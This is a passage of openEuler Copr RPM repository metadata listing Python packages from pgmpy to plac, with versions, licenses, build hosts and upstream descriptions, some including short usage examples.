release: 1
summary: A library for Probabilistic Graphical Models
url: https://github.com/pgmpy/pgmpy
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-f695ed32-c04f-4d8e-a992-5277fb55d8ba
location_href: 00012260-python-pgmpy/python-pgmpy-0.1.22-1.src.rpm
checksum_type: sha256
description:
  ![Build](https://github.com/pgmpy/pgmpy/actions/workflows/ci.yml/badge.svg?branch=dev)
  [![codecov](https://codecov.io/gh/pgmpy/pgmpy/branch/dev/graph/badge.svg)](https://codecov.io/gh/pgmpy/pgmpy)
  [![Codacy Badge](https://api.codacy.com/project/badge/Grade/78a8256c90654c6892627f6d8bbcea14)](https://www.codacy.com/gh/pgmpy/pgmpy?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=pgmpy/pgmpy&amp;utm_campaign=Badge_Grade)
  [![Downloads](https://img.shields.io/pypi/dm/pgmpy.svg)](https://pypistats.org/packages/pgmpy)
  [![Join the chat at https://gitter.im/pgmpy/pgmpy](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/pgmpy/pgmpy?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
  [![asv](http://img.shields.io/badge/benchmarked%20by-asv-blue.svg?style=flat)](http://pgmpy.org/pgmpy-benchmarks/)
  pgmpy is a python library for working with Probabilistic Graphical Models.
  Documentation  and list of algorithms supported is at our official site http://pgmpy.org/
  Examples on using pgmpy: https://github.com/pgmpy/pgmpy/tree/dev/examples
  Basic tutorial on Probabilistic Graphical models using pgmpy: https://github.com/pgmpy/pgmpy_notebook
  Our mailing list is at https://groups.google.com/forum/#!forum/pgmpy .
  We have our community chat at [gitter](https://gitter.im/pgmpy/pgmpy).


pkgId: 415a62e20c927275ee901cd912ccf78d079bd7a9b2a241f06915fb51407209cc
name: python-pgpdump
arch: src
version: 1.5
epoch: 0
release: 1
summary: PGP packet parser library
url: https://github.com/toofishes/python-pgpdump
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-914fa0ae-d383-4b05-896e-24b0bf378fe2
location_href: 00004534-python-pgpdump/python-pgpdump-1.5-1.src.rpm
checksum_type: sha256
description:
  This is based on the C version published at:
  http://www.mew.org/~kazu/proj/pgpdump/

  The intent here is not on completeness, as we don't currently decode every
  packet type, but on being able to do what people actually have to 95% of the
  time. Currently supported things include:

  * Signature packets
  * Public key packets
  * Secret key packets
  * Trust, user ID, and user attribute packets
  * ASCII-armor decoding and CRC check

  A single codebase with dependencies on only the standard python library is
  compatible across Python 2.6, 2.7, and 3.2+, as well as with PyPy 1.8+.


pkgId: ebebd53f34f44fbeb5d6d8b5295ccd4ed5d5176637dadb2fcd130926634f7c59
name: python-pgsanity
arch: src
version: 0.2.9
epoch: 0
release: 1
summary: Check syntax of sql for PostgreSQL
url: http://github.com/markdrago/pgsanity
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-049112e3-9b23-452c-9f7b-7b7a32eee9d7
location_href: 00013022-python-pgsanity/python-pgsanity-0.2.9-1.src.rpm
checksum_type: sha256
description:
  **PgSanity checks the syntax of Postgresql SQL files.**

  It does this by leveraging the ecpg command which is traditionally
  used for preparing C files with embedded sql for compilation.
  However, as part of that preparation, ecpg checks the embedded SQL
  statements for syntax errors using the exact same parser that is
  in PostgreSQL.

  So the approach that PgSanity takes is to take a file that has a
  list of bare SQL in it, make that file look like a C file with
  embedded SQL, run it through ecpg and let ecpg report on the syntax
  errors of the SQL.


pkgId: 18b7dfd3594c757acd94e0436b75f3be61cdcbb1c3a4d0f1db67c3b71d8c78cc
name: python-pgspecial
arch: src
version: 2.0.1
epoch: 0
release: 1
summary: Meta-commands handler for Postgres Database.
url: https://www.dbcli.com
rpm_license: LICENSE.txt
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-93ed58c5-2fde-4935-af5b-b3b7571149a8
location_href: 00004535-python-pgspecial/python-pgspecial-2.0.1-1.src.rpm
checksum_type: sha256
description:
  |Build Status|  |PyPI|
  This package provides an API to execute meta-commands (AKA "special", or
  "backslash commands") on PostgreSQL.


pkgId: 325dec03249fab4612defb67920ec3253c06ef6879e6cdd54384ef7056fdc49b
name: python-phonenumbers
arch: src
version: 8.13.7
epoch: 0
release: 1
url: https://github.com/daviddrysdale/python-phonenumbers
rpm_license: Apache License 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7e9a4fc1-8a9f-4505-bb3d-ef2572aa7468
location_href: 00004537-python-phonenumbers/python-phonenumbers-8.13.7-1.src.rpm
checksum_type: sha256
summary:
  Python version of Google's common library for parsing, formatting, storing and validating international phone numbers.

description:
  [![Coverage Status](https://coveralls.io/repos/daviddrysdale/python-phonenumbers/badge.svg?branch=dev&service=github)](https://coveralls.io/github/daviddrysdale/python-phonenumbers?branch=dev)
  This is a Python port of [Google's libphonenumber library](https://github.com/google/libphonenumber)
  It supports Python 2.5-2.7 and Python 3.x (in the same codebase, with no
  [2to3](http://docs.python.org/2/library/2to3.html) conversion needed).
  Original Java code is Copyright (C) 2009-2015 The Libphonenumber Authors.
  Release [HISTORY](https://github.com/daviddrysdale/python-phonenumbers/blob/dev/python/HISTORY.md),
  derived from [upstream release notes](https://github.com/google/libphonenumber/blob/master/release_notes.txt).


pkgId: e40f503c1e81dce7dcaf2005de29164c9766c314001f749f8f3f96ccbbd3c04d
name: python-phpserialize
arch: src
version: 1.3
epoch: 0
release: 1
summary: a port of the serialize and unserialize functions of php to python.
url: http://github.com/mitsuhiko/phpserialize
rpm_license: UNKNOWN
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-3fb8f674-807b-4230-b3bf-61400108f9f4
location_href: 00004539-python-phpserialize/python-phpserialize-1.3-1.src.rpm
checksum_type: sha256
description:
  >>> from phpserialize import *
  >>> obj = dumps("Hello World")
  >>> loads(obj)
  'Hello World'
  Due to the fact that PHP doesn't know the concept of lists, lists
  are serialized like hash-maps in PHP.  As a matter of fact the
  reverse value of a serialized list is a dict:
  >>> loads(dumps(range(2)))
  {0: 0, 1: 1}
  If you want to have a list again, you can use the `dict_to_list`
  helper function:
  >>> dict_to_list(loads(dumps(range(2))))
  [0, 1]
  It's also possible to convert into a tuple by using the `dict_to_tuple`
  function:
  >>> dict_to_tuple(loads(dumps((1, 2, 3))))
  (1, 2, 3)
  Another problem are unicode strings.  By default unicode strings are
  encoded to 'utf-8' but not decoded on `unserialize`.  The reason for
  this is that phpserialize can't guess if you have binary or text data
  in the strings:
  >>> loads(dumps(u'Hello W\xf6rld'))
  'Hello W\xc3\xb6rld'
  If you know that you have only text data of a known charset in the result
  you can decode strings by setting `decode_strings` to True when calling
  loads:
  >>> loads(dumps(u'Hello W\xf6rld'), decode_strings=True)
  u'Hello W\xf6rld'
  Dictionary keys are limited to strings and integers.  `None` is converted
  into an empty string and floats and booleans into integers for PHP
  compatibility:
  >>> loads(dumps({None: 14, 42.23: 'foo', True: [1, 2, 3]}))
  {'': 14, 1: {0: 1, 1: 2, 2: 3}, 42: 'foo'}
  It also provides functions to read from file-like objects:
  >>> from StringIO import StringIO
  >>> stream = StringIO('a:2:{i:0;i:1;i:1;i:2;}')
  >>> dict_to_list(load(stream))
  [1, 2]
  And to write to those:
  >>> stream = StringIO()
  >>> dump([1, 2], stream)
  >>> stream.getvalue()
  'a:2:{i:0;i:1;i:1;i:2;}'
  Like `pickle` chaining of objects is supported:
  >>> stream = StringIO()
  >>> dump([1, 2], stream)
  >>> dump("foo", stream)
  >>> stream.seek(0)
  >>> load(stream)
  {0: 1, 1: 2}
  >>> load(stream)
  'foo'
  This feature however is not supported in PHP.  PHP will only unserialize
  the first object.


pkgId: 01ddc77d9b6ccc0199697d90c656d74e30d4a0d231124b63e81701d5327f4e57
name: python-phx-class-registry
arch: src
version: 4.0.6
epoch: 0
release: 1
summary: Factory+Registry pattern for Python classes
url: https://pypi.org/project/phx-class-registry/
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-5d860370-79fc-48af-8568-4680f66ae335
location_href: 00012839-python-phx-class-registry/python-phx-class-registry-4.0.6-1.src.rpm
checksum_type: sha256
description:
  At the intersection of the Registry and Factory patterns lies the
  ``ClassRegistry``:
  - Define global factories that generate new class instances based on
    configurable keys.
  - Seamlessly create powerful service registries.
  - Integrate with setuptools's ``entry_points`` system to make your registries
    infinitely extensible by 3rd-party libraries!
  - And more!

rpm_license:
  MIT Licence  Copyright (c) 2017 EFL Global  Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:  The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


pkgId: 3dfd08c4517a6ce1f811bcce5b5fd2ae1933eabbf34e6a453866dfce3a01c417
name: python-pickle5-debuginfo
arch: aarch64
version: 0.0.12
epoch: 0
release: 1
summary: Debug information for package python-pickle5
url: https://github.com/pitrou/pickle5-backport
rpm_license: Python Software Foundation License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-99a44b33-4acc-4f99-8f67-98f101bb1627
rpm_sourcerpm: python-pickle5-0.0.12-1.src.rpm
location_href: 00010623-python-pickle5/python-pickle5-debuginfo-0.0.12-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-pickle5.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: 8389da53a328d07f1178e5452827eceef606bdf9da2785ee32f2133f77eec29d
name: python-pickle5-debugsource
arch: aarch64
version: 0.0.12
epoch: 0
release: 1
summary: Debug sources for package python-pickle5
url: https://github.com/pitrou/pickle5-backport
rpm_license: Python Software Foundation License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-99a44b33-4acc-4f99-8f67-98f101bb1627
rpm_sourcerpm: python-pickle5-0.0.12-1.src.rpm
location_href: 00010623-python-pickle5/python-pickle5-debugsource-0.0.12-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-pickle5.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: 5817dbcf3c201c063f5753c01c486a64209f078c82cdde9fd2ae2689010cccc1
name: python-pickleshare
arch: src
version: 0.7.5
epoch: 0
release: 1
summary: Tiny 'shelve'-like database with concurrency support
url: https://github.com/pickleshare/pickleshare
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ddd050ba-8f67-4d6b-bcff-fc89540c0b27
location_href: 00004541-python-pickleshare/python-pickleshare-0.7.5-1.src.rpm
checksum_type: sha256
description:
  PickleShare - a small 'shelve' like datastore with concurrency support

  Like shelve, a PickleShareDB object acts like a normal dictionary. Unlike shelve,
  many processes can access the database simultaneously. Changing a value in
  database is immediately visible to other processes accessing the same database.

  Concurrency is possible because the values are stored in separate files. Hence
  the "database" is a directory where *all* files are governed by PickleShare.

  Example usage::

      from pickleshare import *
      db = PickleShareDB('~/testpickleshare')
      db.clear()
      print("Should be empty:",db.items())
      db['hello'] = 15
      db['aku ankka'] = [1,2,313]
      db['paths/are/ok/key'] = [1,(5,46)]
      print(db.keys())

  This module is certainly not ZODB, but can be used for low-load
  (non-mission-critical) situations where tiny code size trumps the
  advanced features of a "real" object database.

  Installation guide: pip install pickleshare


pkgId: c47ae08b957cdf2bb339bb186898e7c0f0f04b63d372436b33a4d8a1e7f50c66
name: python-piexif
arch: src
version: 1.1.3
epoch: 0
release: 1
summary: To simplify exif manipulations with python. Writing, reading, and more...
url: https://github.com/hMatoba/Piexif
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-421a2d9b-3c44-486f-80a1-c3457152eb33
location_href: 00004542-python-piexif/python-piexif-1.1.3-1.src.rpm
checksum_type: sha256
description:
  |Build Status| |Windows Build| |Coverage Status| |docs|
  To simplify exif manipulations with Python. Writing, reading, and more... Piexif is pure Python. To everywhere with Python.
  Document: http://piexif.readthedocs.org/en/latest/
  Online demo: http://piexif-demo.appspot.com/demo


pkgId: b9d9892242e622c6a7130da3e3d7dd7964699fd21aed2458497d6c4dea097f29
name: python-pika
arch: src
version: 1.3.1
epoch: 0
release: 1
summary: Pika Python AMQP Client Library
url: https://pika.readthedocs.io
rpm_license: BSD-3-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6026e460-eaea-47d9-b9ff-623281d1d035
location_href: 00004545-python-pika/python-pika-1.3.1-1.src.rpm
checksum_type: sha256
description:
  Pika is a RabbitMQ (AMQP 0-9-1) client library for Python.
  |Version| |Python versions| |Actions Status| |Coverage| |License| |Docs|


pkgId: 75a459571ab71799036c24691ac5cc8e57884a9de3a45a3160b767b04cf316be
name: python-pikepdf
arch: src
version: 7.1.1
epoch: 0
release: 1
summary: Read and write PDFs with Python, powered by qpdf
url: https://pypi.org/project/pikepdf/
rpm_license: MPL-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1c78e84f-fd4d-42f1-a5b6-9163f8e03377
location_href: 00004547-python-pikepdf/python-pikepdf-7.1.1-1.src.rpm
checksum_type: sha256
description:
  **pikepdf** is a Python library for reading and writing PDF files.
  [![Build Status](https://github.com/pikepdf/pikepdf/actions/workflows/build.yml/badge.svg)](https://github.com/pikepdf/pikepdf/actions/workflows/build.yml) [![PyPI](https://img.shields.io/pypi/v/pikepdf.svg)](https://pypi.org/project/pikepdf/) ![PyPI - Python Version](https://img.shields.io/pypi/pyversions/pikepdf) ![PyPy](https://img.shields.io/badge/PyPy-3.8%20|%203.9-blue) ![PyPI - License](https://img.shields.io/pypi/l/pikepdf) ![PyPI - Downloads](https://img.shields.io/pypi/dm/pikepdf)  [![codecov](https://codecov.io/gh/pikepdf/pikepdf/branch/master/graph/badge.svg?token=8FJ755317J)](https://codecov.io/gh/pikepdf/pikepdf)
  pikepdf is based on [QPDF](https://github.com/qpdf/qpdf), a powerful PDF manipulation and repair library.
  Python + QPDF = "py" + "qpdf" = "pyqpdf", which looks like a dyslexia test. Say it out loud, and it sounds like "pikepdf".
  ```python

  with pikepdf.open('input.pdf') as pdf:
      num_pages = len(pdf.pages)
      del pdf.pages[-1]
      pdf.save('output.pdf')
  ```
  **To install:**
  ```bash
  pip install pikepdf
  ```
  For users who want to build from source, see [installation](https://pikepdf.readthedocs.io/en/latest/index.html).
  pikepdf is [documented](https://pikepdf.readthedocs.io/en/latest/index.html) and actively maintained. Binary wheels are available for all common platforms, both x86-64 and ARM64/Apple Silicon.
  Commercial support is available.


pkgId: 1a7ad5489646b6885d11f95166d774d6b5141d85122aa559a323937e05621064
name: python-pilkit
arch: src
version: 2.0
epoch: 0
release: 1
summary: A collection of utilities and processors for the Python Imaging Libary.
url: http://github.com/matthewwithanm/pilkit/
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-77d17e07-ec54-401a-8af5-9b3ad9ceaedf
location_href: 00011565-python-pilkit/python-pilkit-2.0-1.src.rpm
checksum_type: sha256
description:
  1. Install `PIL`_ or `Pillow`_.
  2. Run ``pip install pilkit`` (or clone the source and put the pilkit module on
     your path)
     more-frequently updated "friendly" fork of PIL that's compatible with
     setuptools. As such, it shares the same namespace as PIL does and is a
     drop-in replacement.


pkgId: 96f2f2db24da3ea9088afc2df186d3584d7ad66e3705f61872740ca278307970
name: python-pinkboto
arch: src
version: 0.0.45
epoch: 0
release: 1
summary: A Colorful AWS SDK wrapper for Python
url: https://github.com/Hotmart-Org/pinkboto
rpm_license: GNU General Public License v3 (GPLv3)
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ccf832d8-a209-4f86-b2c2-c591d9b9ab40
location_href: 00011321-python-pinkboto/python-pinkboto-0.0.45-1.src.rpm
checksum_type: sha256
description:
  A Colorful AWS SDK wrapper for Python

  [![Current version at PyPI](https://img.shields.io/pypi/v/pinkboto.svg)](https://pypi.python.org/pypi/pinkboto)
  ![Supported Python Versions](https://img.shields.io/pypi/pyversions/pinkboto.svg)
  ![Software status](https://img.shields.io/pypi/status/pinkboto.svg)
  ![PyPI - Downloads](https://img.shields.io/pypi/dd/pinkboto)



  ```bash
  pip install pinkboto
  ```



  ```python
  import pinkboto
  aws = pinkboto.aws(profile='production', region='us-east-1')
  selector = {'resource': 'aws_db_instance'}
  projection = ['DBInstanceIdentifier', 'Endpoint']
  rds = aws.find(selector, projection)
  ```



  By default, pinkboto caching all requests with 120 seconds lifespan.

  To disable:

  ```python
  aws = pinkboto.aws(profile='production', region='us-east-1', cache=False)
  ```

  To modify lifespan to 1 hour:

  ```python
  aws = pinkboto.aws(profile='production', region='us-east-1', cache=3600)
  ```



  You can access a subfield in projection. For example 'Endpoint.Address' in rds

  ```python
  rds = aws.find({'resource': 'aws_db_instance'}, ['Endpoint.Address', 'AvailabilityZone'])
  ```



  ```python
  pinkboto.to_csv(rds, 'result.csv')
  ```



  ```bash
  update setup.py version.
  python3 setup.py sdist
  twine upload dist/pinkboto-${new-version}.tar.gz
  ```



  Pull requests for new features, bug fixes, and suggestions are welcome!



  GNU General Public License v3 (GPLv3)



  ```bash
  pre-commit install
  ```


pkgId: e57b6f5ef12cb0e16db6b123c272e7a0998015a80ab8a7e0dadde0c077734731
name: python-pip
arch: src
version: 23.0.1
epoch: 0
release: 1
summary: The PyPA recommended tool for installing Python packages.
url: https://pip.pypa.io/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-490ced29-95fa-4b1c-848e-ff645f6c577b
location_href: 00008894-python-pip/python-pip-23.0.1-1.src.rpm
checksum_type: sha256
description:
  pip is the `package installer`_ for Python. You can use pip to install packages from the `Python Package Index`_ and other indexes.
  Please take a look at our documentation for how to install and use pip:
  * `Installation`_
  * `Usage`_
  We release updates regularly, with a new version every 3 months. Find more details in our documentation:
  * `Release notes`_
  * `Release process`_
  In pip 20.3, we've `made a big improvement to the heart of pip`_; `learn more`_. We want your input, so `sign up for our user experience research studies`_ to help us do it right.
  **Note**: pip 21.0, in January 2021, removed Python 2 support, per pip's `Python 2 support policy`_. Please migrate to Python 3.
  If you find bugs, need help, or want to talk to the developers, please use our mailing lists or chat rooms:
  * `Issue tracking`_
  * `Discourse channel`_
  * `User IRC`_
  If you want to get involved head over to GitHub to get the source code, look at our development documentation and feel free to jump on the developer mailing lists and chat rooms:
  * `GitHub page`_
  * `Development documentation`_
  * `Development IRC`_


pkgId: 7f215bd722e7634a52d8a96806f016d6da3e1509c5a668d70141c8103c7a984b
name: python-pipefish
arch: src
version: 0.4.2
epoch: 0
release: 1
summary: Process JUnit XML and Cobertura coverage XML reports into Markdown
url: https://github.com/pytest-buildkite/pipefish
rpm_license: GPLv3+
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-b95dadd8-72d2-424a-8494-8f36079090ae
location_href: 00011512-python-pipefish/python-pipefish-0.4.2-1.src.rpm
checksum_type: sha256
description:
  Process JUnit XML and Cobertura coverage XML reports into Markdown


  * [News](https://github.com/pytest-buildkite/pipefish/blob/master/NEWS.rst).
  * [Code of Conduct](https://github.com/pytest-buildkite/pipefish/blob/master/CODE_OF_CONDUCT.md).
  * [Contribution Guidelines](https://github.com/pytest-buildkite/pipefish/blob/master/CONTRIBUTING.md).


pkgId: 4707869671fc333db820c74d2f44faa24483bddff4e3ee8262d3f33ab28ac8f7
name: python-pipelinewise-singer-python
arch: src
version: 2.0.1
epoch: 0
release: 1
summary: Singer.io utility library - PipelineWise compatible
url: https://github.com/transferwise/pipelinewise-singer-python
rpm_license: Apache Software License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1e4ed44e-3064-4671-8693-d3042aeabbc4
location_href: 00011110-python-pipelinewise-singer-python/python-pipelinewise-singer-python-2.0.1-1.src.rpm
checksum_type: sha256
description:
  [![PyPI version](https://badge.fury.io/py/pipelinewise-singer-python.svg)](https://badge.fury.io/py/pipelinewise-singer-python)
  [![PyPI - Python Version](https://img.shields.io/pypi/pyversions/pipelinewise-singer-python.svg)](https://pypi.org/project/pipelinewise-singer-python/)
  [![License: MIT](https://img.shields.io/badge/License-Apache2-yellow.svg)](https://opensource.org/licenses/Apache-2.0)
  Writes the Singer format from Python.
  This is a fork of [Singer's singer-python](https://github.com/singer-io/singer-python) made for [PipelineWise](https://transferwise.github.io/pipelinewise).


pkgId: bc4bff061e01e125712e07eeb268161ecd05584913d0259dab6f311d967d7df4
name: python-pipelinewise-singer-python-help
arch: noarch
version: 2.0.1
epoch: 0
release: 1
summary: Development documents and examples for pipelinewise-singer-python
url: https://github.com/transferwise/pipelinewise-singer-python
rpm_license: Apache Software License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1e4ed44e-3064-4671-8693-d3042aeabbc4
rpm_sourcerpm: python-pipelinewise-singer-python-2.0.1-1.src.rpm
checksum_type: sha256
description:
  [![PyPI version](https://badge.fury.io/py/pipelinewise-singer-python.svg)](https://badge.fury.io/py/pipelinewise-singer-python)
  [![PyPI - Python Version](https://img.shields.io/pypi/pyversions/pipelinewise-singer-python.svg)](https://pypi.org/project/pipelinewise-singer-python/)
  [![License: MIT](https://img.shields.io/badge/License-Apache2-yellow.svg)](https://opensource.org/licenses/Apache-2.0)
  Writes the Singer format from Python.
  This is a fork of [Singer's singer-python](https://github.com/singer-io/singer-python) made for [PipelineWise](https://transferwise.github.io/pipelinewise).

location_href:
  00011110-python-pipelinewise-singer-python/python-pipelinewise-singer-python-help-2.0.1-1.noarch.rpm


pkgId: 300eeb50ffc158f2a2bda154409815f0fcbbd30afafaa83eb0fc911a182918a2
name: python-pipenv
arch: src
version: 2023.3.20
epoch: 0
release: 1
summary: Python Development Workflow for Humans.
url: https://github.com/pypa/pipenv
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-c8902d6b-c20a-4dbc-a3d2-6e8eec70f016
location_href: 00009198-python-pipenv/python-pipenv-2023.3.20-1.src.rpm
checksum_type: sha256
description:
  [![image](https://img.shields.io/pypi/v/pipenv.svg)](https://python.org/pypi/pipenv)
  [![image](https://img.shields.io/pypi/l/pipenv.svg)](https://python.org/pypi/pipenv)
  [![CI](https://github.com/pypa/pipenv/actions/workflows/ci.yaml/badge.svg)](https://github.com/pypa/pipenv/actions/workflows/ci.yaml)
  [![image](https://img.shields.io/pypi/pyversions/pipenv.svg)](https://python.org/pypi/pipenv)


pkgId: fbdda1145aa66e8e9bf0371d94f18e16179e5755748d026ad1f086008475c355
name: python-pipfile
arch: src
version: 0.0.2
epoch: 0
release: 1
summary: please add a summary manually as the author left a blank one
url: https://github.com/pypa/pipfile
rpm_license: BSD or Apache License, Version 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a17c2245-076f-479e-92dd-f86667788528
location_href: 00010996-python-pipfile/python-pipfile-0.0.2-1.src.rpm
checksum_type: sha256
description:
  ``Pipfile`` and its sister ``Pipfile.lock`` are a replacement for the existing standard `pip`_'s ``requirements.txt`` file.
      WARNING: This project is under active design and development. Nothing is set in stone at this point of time.
  This repository contains the design specification of the ``Pipfile`` format, as well as (soon) an implementation of a parser for the specification which can be used by `pip`_ and any other consumer, once the design (including the form of a ``Pipfile`` itself) has been built out and finalized.


pkgId: 17f6ad2c3779d3747c3e05a03f7737fb6f49c3b08b7842bfc50617406923a179
name: python-pkgconfig
arch: src
version: 1.5.5
epoch: 0
release: 1
summary: Interface Python with pkg-config
url: https://github.com/matze/pkgconfig
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-52d23249-72ac-4eac-85ee-e4267f671776
location_href: 00009553-python-pkgconfig/python-pkgconfig-1.5.5-1.src.rpm
checksum_type: sha256
description:
  ``pkgconfig`` is a Python module to interface with the ``pkg-config``
  command line tool for Python 3.3+.
  It can be used to
  -  find all pkg-config packages ::
         >>> packages = pkgconfig.list_all()
  -  check if a package exists ::
         >>> pkgconfig.exists('glib-2.0')
         True
  -  check if a package meets certain version requirements ::
         >>> pkgconfig.installed('glib-2.0', '< 2.26')
         False
  -  return the version ::
         >>> pkgconfig.modversion('glib-2.0')
         '2.56.3'
  -  query CFLAGS and LDFLAGS ::
         >>> pkgconfig.cflags('glib-2.0')
         '-I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include'
         >>> pkgconfig.libs('glib-2.0')
         '-lglib-2.0'
  -  get all variables defined for a package::
          >>> pkgconfig.variables('glib-2.0')
          {u'exec_prefix': u'/usr'}
  -  parse the output to build extensions with setup.py ::
         >>> d = pkgconfig.parse('glib-2.0 gtk+-2.0')
         >>> d['libraries']
         [u'gtk+-2.0', u'glib-2.0']
     or ::
         >>> ext = Extension('foo', ['foo.c'])
         >>> # sets extension attributes as needed
         >>> pkgconfig.configure_extension(ext, 'glib-2.0 gtk+-2.0')
     The ``pkgconfig.parse`` function returns a dictonary of lists.
     The lists returned are accurate representations of the equivalent
     ``pkg-config`` call's result, both in content and order.
  If ``pkg-config`` is not on the path, raises ``EnvironmentError``.
  The ``pkgconfig`` module is licensed under the MIT license.


pkgId: bccd5d2f4e80c249fabd3fd7d7126ffb9ebabfede79bea2ec4154e9f988aa862
name: python-pkginfo
arch: src
version: 1.9.6
epoch: 0
release: 1
summary: Query metadata from sdists / bdists / installed packages.
url: https://code.launchpad.net/~tseaver/pkginfo/trunk
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7ae27c02-36a0-4300-ac43-d73f2b0fbbbe
location_href: 00004557-python-pkginfo/python-pkginfo-1.9.6-1.src.rpm
checksum_type: sha256
description:
  This package provides an API for querying the distutils metadata written in
  the ``PKG-INFO`` file inside a source distribution (an ``sdist``) or a
  binary distribution (e.g., created by running ``bdist_egg``).  It can
  also query the ``EGG-INFO`` directory of an installed distribution, and
  the ``*.egg-info`` stored in a "development checkout"
  (e.g, created by running ``setup.py develop``).
  Please see the `pkginfo docs <http://packages.python.org/pkginfo>`_
  for detailed documentation.


pkgId: 56eee88adf72468652096f57c379ee5217c52fa6f17fa5f5725d1be47e46b07e
name: python-pkgwat.api
arch: src
version: 0.13
epoch: 0
release: 1
summary: Python API for querying the fedora packages webapp
url: http://github.com/fedora-infra/pkgwat.api
rpm_license: LGPLv2+
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7302a427-ab85-4e2f-bcea-e7779fcb200e
location_href: 00004559-python-pkgwat-api/python-pkgwat.api-0.13-1.src.rpm
checksum_type: sha256
description:
  Make sure you have ``virtualenv`` installed and create a new venv::
    $ virtualenv env
    $ source env/bin/activate
    $ pip install -e .


pkgId: 8e4e2f51b4284ec71fc024d8f43184ce3ee9a8efb28d6f045462193e0773c481
name: python-plac
arch: src
version: 1.3.5
epoch: 0
release: 1
summary: The smartest command line arguments parser in the world
url: https://github.com/ialbert/plac
rpm_license: BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1192576e-9db3-4c3d-8fab-bbfd9eae5b21
location_href: 00009502-python-plac/python-plac-1.3.5-1.src.rpm
checksum_type: sha256
description:
  `plac` is a Python package that can generate command line parameters
  from function signatures.

  `plac` works on Python 2.6 through all versions of Python 3.

  `plac` has no dependencies beyond modules already present in the Python
  standard library.

  `plac` implements most of its functionality in a single file that may be
  included in your source code.



  Here is how to turn a script that does some processing on a database
  table into a full, command-line enabled program:

  ```python

  from datetime import datetime

  def main(dsn, table='product', today=datetime.today()):
      "Do something on the database"
      print(dsn, table, today)

  if __name__ == '__main__':
      import plac
      plac.call(main)
  ```

  Here is the help message automatically generated by plac:

  ```
  python updatedb.py -h
  ```

  prints:

  ```
  usage: updatedb.py [-h] dsn [table] [today]

  Do something on the database

  positional arguments:
    dsn
    table       [product]
    today       [2019-07-28 07:18:20.054708]

  optional arguments:
     -h, --help  show this help message and exit
  ```



  The automatic inference takes us only so far, usually we need more
  control over the parameters. `plac` offers simple decorator helpers for
  positional, option and flag type parameters:

  ```python
  import plac

  from pathlib import Path

  @plac.pos('model', "Model name", choices=['A', 'B', 'C'])
  @plac.opt('output_dir', "Optional output directory", type=Path)
